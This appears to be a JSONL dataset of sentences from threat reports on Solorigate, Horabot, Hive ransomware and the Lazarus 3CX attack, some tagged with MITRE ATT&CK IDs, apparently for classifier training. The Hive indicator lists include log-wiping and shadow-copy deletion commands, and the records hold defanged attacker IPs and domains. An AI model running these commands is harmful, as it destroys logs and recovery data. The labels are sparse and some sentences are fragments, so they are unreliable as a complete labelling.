{"sentence": "= “opera.exe” Find SolarWinds Orion software in your enterprise To search for Threat and Vulnerability Management data to find SolarWinds Orion software organized by product name and ordered by how many devices the software is installed on, run the following query DeviceTvmSoftwareInventoryVulnerabilities| where SoftwareVendor == ‘solarwinds’| where SoftwareName startswith ‘orion’| summarize dcount(DeviceName) by SoftwareName| sort by dcount_DeviceName desc ADFS adapter process spawning DeviceProcessEvents| where InitiatingProcessFileName =~”Microsoft.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Initial Access T1195.001 Supply Chain Compromise Execution T1072 Software Deployment Tools Command and Control T1071.004 Application Layer Protocol: DNS T1017.001 Application Layer Protocol: Web Protocols T1568.002", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Dynamic Resolution: Domain Generation Algorithms T1132 Data Encoding Persistence T1078", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Valid Accounts Defense Evasion T1480.001 Execution Guardrails: Environmental Keying T1562.001 Impair Defenses: Disable or Modify Tools Collection T1005 Data From Local System Additional malware discovered", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The malware consists of a small persistence backdoor in the form of a DLL file named App_Web_logoimagehandler.ashx.b6031896.dll, which is programmed to allow remote code execution through SolarWinds web application server when installed in the folder “inetpub\\SolarWinds\\bin\\”.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Unlike Solorigate, this malicious DLL does not have a digital signature, which suggests that this may be unrelated to the supply chain compromise.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Nonetheless, the infected DLL contains just one method (named DynamicRun), that can receive a C# script from a web request, compile it on the fly, and execute it. Figure 13: Original DLL Figure 14: The malicious addition that calls the DynamicRun method This code provides an attacker the ability to send and execute any arbitrary C# program on the victim’s device.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "G!dha.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Join discussions at the Microsoft 365 Defender tech community.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Read all Microsoft security intelligence blog posts.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Security researchers have issued a warning over a sophisticated malware botnet that has flown under the radar for more than two years.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Analysis by security firm Cisco Talos also found that organisations across “several business verticals” have been targeted by the botnet since November 2020.Dubbed ‘Horabot’, the botnet was spotted infecting devices with a banking trojan and spam tools to steal sensitive financial information and assume control of user email accounts to wage phishing attacks.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Users of email services such as Gmail, Yahoo, and Outlook, have been impacted by the botnet, with their accounts used to send malicious emails to contacts.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“Horabot enables the threat actor to control the victim’s Outlook mailbox, exfiltrate contacts’ email addresses, and send phishing emails with malicious HTML attachments to all addresses in the victim’s mailbox,” researchers said.", "labels": ["T1566.001"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "to Talos, the botnet has specifically targeted Spanish-speaking users in the Americas, and could be based in Brazil.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Companies operating in the accounting, construction, engineering, and investment sectors are thought to have been particularly targeted by the botnet.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“When a victim opens the HTML file attachment, an embedded URL is launched in the victim’s browser, redirecting to another malicious HTML file from an attacker-controlled AWS EC2 instance,” researchers said in a blog post.", "labels": ["T1027"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "”This payload was found to create specially crafted Windows shortcut files that run during the startup process of a victims machine and force it to restart.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Upon reboot, these malicious files enable the attacker to further infect the device.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“After the victim’s machine is rebooted, the malicious Windows startup files run the payloads by sideloading them to the legitimate executables and downloading and executing two other PowerShell scripts from a different attacker-controlled server,” the blog post explained.", "labels": ["T1105", "T1574.002"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“One is the PowerShell downloader script, which the attacker attempts to execute to re-infect the victim’s machine, and another is Horabot.”Analysis of the banking trojanAnalysis from Talos found that the banking trojan used in this campaign specifically targets the victim’s login credentials and financial information.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "This trojan enables the attacker to monitor activity on a victim’s device by collecting system information such as hostnames, IPv4 addresses, OS version information, and insights on anti-virus software present on the machine.", "labels": ["T1016", "T1082", "T1518.001"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Data gathered by the trojan is then extracted to an attacker-controlled server, researchers added.", "labels": ["T1041"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“The trojan also has anti-analysis and anti-detection capabilities to evade the sandbox and virtual environments.”The", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“The spam tool is a 32-bit DLL written in Delphi and, when run on the victim’s machine, will attempt to compromise the victim’s login credentials for webmail services such as Yahoo, Gmail, and Hotmail,” Cisco analysts explained.", "labels": ["T1078"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Once user credentials have been compromised, this tool takes “full control” of the account and begins creating and circulating spam emails to contacts found in the victim’s mailbox.", "labels": ["T1078"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "This spambot also displayed “information-stealing capabilities”, including the ability to log keystrokes, capture screenshots, and track mouse activity on an infected computer.", "labels": ["T1056.001", "T1113"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Summary Actions to Take Today to Mitigate Cyber Threats from Ransomware: •", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "• Enable and enforce multifactor authentication with strong passwords • Close unused ports and remove any application not deemed necessary for day-to-day operations.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known Hive IOCs and TTPs identified through FBI investigations as recently as November 2022.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "FBI, CISA, and HHS encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Download the PDF version of this report: pdf, 852.9 kb.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "For a downloadable copy of IOCs, see AA22-321A.stix (STIX, 43.6 kb).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Technical Details Note: This advisory uses the MITRE ATT&CK:registered: for Enterprise framework, version 12.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "As of November 2022, Hive ransomware actors have victimized over 1,300 companies worldwide, receiving approximately US$100 million in ransom payments, according to FBI information.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The method of initial intrusion will depend on which affiliate targets the network.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "In some cases, Hive actors have bypassed multifactor authentication (MFA) and gained access to FortiOS servers by exploiting Common Vulnerabilities and Exposures (CVE) CVE-2020-12812.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "This vulnerability enables a malicious cyber actor to log in without a prompt for the user’s second authentication factor (FortiToken) when the actor changes the case of the username.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or via PowerShell", "labels": ["T1059.003"], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Delete Windows event logs, specifically the System, Security and Application logs", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "[T1537].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "In addition to its capabilities against the Microsoft Windows operating system, Hive ransomware has known variants for Linux, VMware ESXi, and FreeBSD.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Required for decryption, this key file only exists on the machine where it was created and cannot be reproduced.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The ransom note, HOW_TO_DECRYPT.txt is dropped into each affected directory and states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered [T1486].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The ransom note contains a “sales department” .onion", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "However, some victims reported receiving phone calls or emails from Hive actors directly to discuss payment.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The ransom note also threatens victims that a public disclosure or leak site accessible on the TOR site, “HiveLeaks”, contains data exfiltrated from victim organizations who do not pay the ransom demand (see figure 1 below).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Additionally, Hive actors have used anonymous file sharing sites to disclose exfiltrated data (see table 1 below).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Figure 1: Sample Hive Ransom Note Table 1: Anonymous File Sharing Sites Used to Disclose Data https://anonfiles[.]com https://mega[.]nz https://send.exploit[.]in https://ufile[.]io https://www.sendspace[.]com https://privatlab[.]net https://privatlab[.]com Once the victim organization contacts Hive actors on the live chat panel, Hive actors communicate the ransom amount and the payment deadline.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Indicators of Compromise Threat actors have leveraged the following IOCs during Hive ransomware compromises.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Note: Some of these indicators are legitimate applications that Hive threat actors used to aid in further malicious exploitation.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "FBI, CISA, and HHS recommend removing any application not deemed necessary for day-to-day operations.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "See tables 2–3 below for IOCs obtained from FBI threat response investigations as recently as November 2022.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Table 2: Known IOCs as of November 2022 Known IOCs - Files HOW_TO_DECRYPT.txt typically in directories with encrypted files *.key typically in the root directory, i.e., C:\\ or /root hive.bat shadow.bat asq.r77vh0[.]pw - Server hosted malicious HTA file asq.d6shiiwz[.]pw - Server referenced in malicious regsvr32 execution asq.swhw71un[.]pw - Server hosted malicious HTA file asd.s7610rir[.]pw - Server hosted malicious HTA file Windows_x64_encrypt.dll Windows_x64_encrypt.exe Windows_x32_encrypt.dll Windows_x32_encrypt.exe Linux_encrypt Esxi_encrypt Known IOCs – Events System, Security and Application Windows event logs wiped Microsoft Windows Defender AntiSpyware Protection disabled Microsoft Windows Defender AntiVirus Protection disabled Volume shadow copies deleted Normal boot process prevented Known IOCs – Logged Processes wevtutil.exe cl system wevtutil.exe cl security wevtutil.exe cl application vssadmin.exe delete shadows /all", "labels": ["T1057", "T1562.001"], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "/quiet wmic.exe", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action like blocking.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Potential IOC IP Addresses for Compromise or Exfil: 84.32.188[.]57 84.32.188[.]238 93.115.26[.]251 185.8.105[.]67 181.231.81[.]239 185.8.105[.]112 186.111.136[.]37 192.53.123[.]202 158.69.36[.]149 46.166.161[.]123 108.62.118[.]190 46.166.161[.]93 185.247.71[.]106 46.166.162[.]125 5.61.37[.]207 46.166.162[.]96 185.8.105[.]103 46.166.169[.]34 5.199.162[.]220 93.115.25[.]139 5.199.162[.]229 93.115.27[.]148 89.147.109[.]208 83.97.20[.]81 5.61.37[.]207 5.199.162[.]220 5.199.162[.]229; 46.166.161[.]93 46.166.161[.]123; 46.166.162[.]96 46.166.162[.]125 46.166.169[.]34 83.97.20[.]81 84.32.188[.]238 84.32.188[.]57 89.147.109[.]208 93.115.25[.]139; 93.115.26[.]251 93.115.27[.]148 108.62.118[.]190 158.69.36[.]149/span> 181.231.81[.]239 185.8.105[.]67 185.8.105[.]103 185.8.105[.]112 185.247.71[.]106 186.111.136[.]37 192.53.123[.]202 MITRE ATT&CK TECHNIQUES See table 4 for all referenced threat actor tactics and techniques listed in this advisory.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Phishing T1566.001 Hive actors gain access to victim networks by distributing phishing emails with malicious attachments.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Execution Technique Title ID Use Command and Scripting Interpreter T1059 Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or PowerShell.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Defense Evasion Technique Title ID Use Indicator Removal on Host T1070 Hive actors delete Windows event logs, specifically, the System, Security and Application logs.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Modify Registry T1112 Hive actors set registry values for DisableAntiSpyware and DisableAntiVirus to 1. Impair Defenses T1562 Hive actors seek processes related to backups, antivirus/anti-spyware, and file copying and terminates those processes to facilitate file encryption.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Exfiltration Technique Title ID Use Transfer Data to Cloud Account T1537 Hive actors exfiltrate data from victims, using a possible combination of Rclone and the cloud storage service Mega.nz.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Impact Technique Title Use Data Encrypted for Impact T1486 Hive actors deploy a ransom note HOW_TO_DECRYPT.txt into each affected directory which states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Inhibit System Recovery T1490 Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin via command line or PowerShell.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Mitigations FBI, CISA, and HHS recommend organizations, particularly in the HPH sector, implement the following to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Hive ransomware:", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Verify Hive actors no longer have access to the network.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Prioritize patching VPN servers, remote access software, virtual machine software, and known exploited vulnerabilities.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Require phishing-resistant MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "After assessing risks, if you deem RDP operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Be sure to properly configure devices and enable security features.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Disable ports and protocols not used for business purposes, such as RDP Port 3389/TCP. Maintain offline backups of data, and regularly maintain backup and restoration.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure your backup data is not already infected.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Install and regularly update anti-virus or anti-malware software on all hosts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Enable PowerShell Logging including module logging, script block logging and transcription.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Install an enhanced monitoring tool such as Sysmon from Microsoft for increased logging.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Review the following additional resources.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "StopRansomware.gov is the U.S. Government’s official one-stop location for resources to tackle ransomware more effectively.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If your organization is impacted by a ransomware incident, FBI, CISA, and HHS recommend the following actions.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Isolate the infected system.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Remove the infected system from all networks, and disable the computer’s wireless, Bluetooth, and any other potential networking capabilities.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure all shared and networked drives are disconnected.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Turn off other computers and devices.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Powering-off and segregating infected computers and computers that have not been fully encrypted may allow for the recovery of partially encrypted files by specialists.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Secure your backups.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure that your backup data is offline and secure.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If possible, scan your backup data with an antivirus program to check that it is free of malware.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "In addition, FBI, CISA, and HHS urge all organizations to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Preparing for Cyber Incidents Review the security posture of third-party vendors and those interconnected with your organization.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Document and monitor external remote connections.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Identity and Access Management Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute of Standards and Technology (NIST) standards for developing and managing password policies.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Store passwords in hashed format using industry-recognized password managers.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Add password user “salts” to shared login credentials. Avoid reusing passwords.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Disable password “hints.”", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Implement time-based access for accounts set at the admin level and higher.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Protective Controls and Architecture Segment networks to prevent the spread of ransomware.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Install, regularly update, and enable real time detection for antivirus software on all hosts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Disable command-line and scripting activities and permissions.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure devices are properly configured and that security features are enabled.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Restrict Server Message Block (SMB) Protocol within the network to only access necessary servers and remove or disable outdated versions of SMB (i.e., SMB version 1).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Threat actors use SMB to propagate malware across organizations.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "INFORMATION REQUESTED The FBI, CISA, and HHS do not encourage paying a ransom to criminal actors.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Paying the ransom also does not guarantee that a victim’s files will be recovered.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Regardless of whether you or your organization decide to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to your local FBI field office, or to CISA at report@cisa.gov or (888) 282-0870.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Doing so provides investigators with the critical information they need to track ransomware attackers, hold them accountable under US law, and prevent future attacks.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The FBI may seek the following information that you determine you can legally share, including: Recovered executable files Live random access memory (RAM) capture Images of infected systems Malware samples IP addresses identified as malicious or suspicious Email addresses of the attackers A copy of the ransom note Ransom amount Bitcoin wallets used by the attackers Bitcoin wallets used to pay the ransom Post-incident forensic reports DISCLAIMER The information in this report is being provided “as is” for informational purposes only.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS. Revisions Initial Version: November 17, 2022", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Linux malware strengthens links between Lazarus and the 3CX supply‑chain attack url: https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack/ Similarities with newly discovered Linux malware used in Operation DreamJob corroborate the theory that the infamous North Korea-aligned group is behind the 3CX supply-chain attack ESET researchers have discovered a new Lazarus Operation DreamJob campaign targeting Linux users.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "To our knowledge, this is the first public mention of this major North Korea-aligned threat actor using Linux malware as part of this operation.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "In this blogpost, we corroborate these findings and provide additional evidence about the connection between Lazarus and the 3CX supply-chain attack.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "According to its website, 3CX has more than 600,000 customers and 12,000,000 users in various sectors including aerospace, healthcare, and hospitality.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Rapidly, it was determined that this malicious code was not something that 3CX added themselves, but that 3CX was compromised and that its software was used in a supply-chain attack driven by external threat actors to distribute additional malware to specific 3CX customers.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This cyber-incident has made headlines in recent days.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Further, the part of the attack affecting systems running macOS was covered in detail in a Twitter thread and a blogpost by Patrick Wardle.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Timeline of events related to the preparation and distribution of 3CX trojanized applications", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The timeline shows that the perpetrators had planned the attacks long before execution; as early as December 2022.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This suggests they already had a foothold inside 3CX’s network late last year.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Although ESET telemetry shows the existence of the macOS second-stage payload as early as February, we did not have the sample itself, nor metadata to tip us off about its maliciousness.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We include this information to help defenders determine how far back systems might have been compromised.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Several days before the attack was publicly revealed, a mysterious Linux downloader was submitted to VirusTotal.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It downloads a new Lazarus malicious payload for Linux and we explain its relationship to the attack later in the text.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Attribution of the 3CX supply-chain attack to Lazarus What is already published There is one domain that plays a significant role in our attribution reasoning: journalide[.]org.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It is mentioned in some of the vendor reports linked above, but its presence is never explained.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Interestingly, articles by SentinelOne and ObjectiveSee do not mention this domain.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Neither does a blogpost by Volexity, which even refrained from providing attribution, stating “Volexity cannot currently map the disclosed activity to any threat actor”.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Its analysts were among the first to investigate the attack in depth and they created a tool to extract a list of C&C servers from encrypted icons on GitHub.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "On March 30th, Joe Desimone, a security researcher from Elastic Security, was among the first to provide, in a Twitter thread, substantial clues that the 3CX-driven compromises are probably linked to Lazarus.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "On March 31st", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "it was being reported that 3CX had retained Mandiant to provide incident response services relating to the supply-chain attack.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
